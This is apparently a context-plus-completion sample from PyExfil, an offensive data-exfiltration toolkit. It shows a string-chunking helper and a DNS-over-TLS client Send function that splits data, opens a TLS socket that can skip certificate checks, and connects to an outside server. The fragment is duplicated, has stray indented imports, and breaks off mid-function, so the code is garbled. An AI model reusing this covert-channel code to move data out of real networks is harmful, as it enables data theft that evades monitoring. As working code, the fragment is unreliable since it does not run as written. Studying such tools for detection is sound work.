# Path: pyexfil/includes/prepare.py
# def _splitString(stri, length):
#     """
#     Split string by a particular length.
#     :param stri: String to split
#     :param length: Length to split by, int
#     :return: List
#     """
#     def _f(s, n):
#         while s:
#             yield s[:n]
#             s = s[n:]
#     if type(length) is not int:
#         sys.stderr.write("'length' parameter must be an int.\n")
#         return False
#     if type(stri) is not str and type(stri) is not bytes:
#         sys.stderr.write("'stri' parameter must be an string.\n")
#         return False
#     return list(_f(stri, length))


import sys
import ssl
import time
import socket
import random
from pyexfil.includes.prepare import _splitString
	from PyExfil.pyexfil.Comm.DNSoTLS.constants import *
	from constants import *
def Send(data, server, port=DNS_OVER_TLS_PORT, certCheck=CHECK_CERT):

	if len(data) > CHUNK_SIZE:
		chunks = _splitString(stri=data, length=16)
	else:
		chunks = [data]

	context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
	if certCheck:
		context = context
	else:
		context.verify_mode = ssl.CERT_NONE

	try:
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
		sock.settimeout(5)
		wrappedSocket = context.wrap_socket(sock)

	except Exception as e:
		sys.stderr.write("Something went wrong.\n")
		sys.stderr.writable(str(e))
		return False

	try:
		wrappedSocket.connect((server, port))
	except socket.error as se:
		sys.stderr.write("Could not connect to %s:%s (probably comm error).\n" % (server, port))
		sys.stderr.write(str(se))
		return False
	except Exception as e:

# Path: pyexfil/includes/prepare.py
# def _splitString(stri, length):
#     """
#     Split string by a particular length.
#     :param stri: String to split
#     :param length: Length to split by, int
#     :return: List
#     """
#     def _f(s, n):
#         while s:
#             yield s[:n]
#             s = s[n:]
#     if type(length) is not int:
#         sys.stderr.write("'length' parameter must be an int.\n")
#         return False
#     if type(stri) is not str and type(stri) is not bytes:
#         sys.stderr.write("'stri' parameter must be an string.\n")
#         return False
#     return list(_f(stri, length))


# Path: pyexfil/Comm/DNSoTLS/client.py
import sys
import ssl
import time
import socket
import random
from pyexfil.includes.prepare import _splitString
	from PyExfil.pyexfil.Comm.DNSoTLS.constants import *
	from constants import *

def Send(data, server, port=DNS_OVER_TLS_PORT, certCheck=CHECK_CERT):

	if len(data) > CHUNK_SIZE:
		chunks = _splitString(stri=data, length=16)
	else:
		chunks = [data]

	context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
	if certCheck:
		context = context
	else:
		context.verify_mode = ssl.CERT_NONE

	try:
		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
		sock.settimeout(5)
		wrappedSocket = context.wrap_socket(sock)

	except Exception as e:
		sys.stderr.write("Something went wrong.\n")
		sys.stderr.writable(str(e))
		return False

	try:
		wrappedSocket.connect((server, port))
	except socket.error as se:
		sys.stderr.write("Could not connect to %s:%s (probably comm error).\n" % (server, port))
		sys.stderr.write(str(se))
		return False
	except Exception as e:

		sys.stderr.write("Could not connect to %s:%s (probably cert error).\n" % (server, port))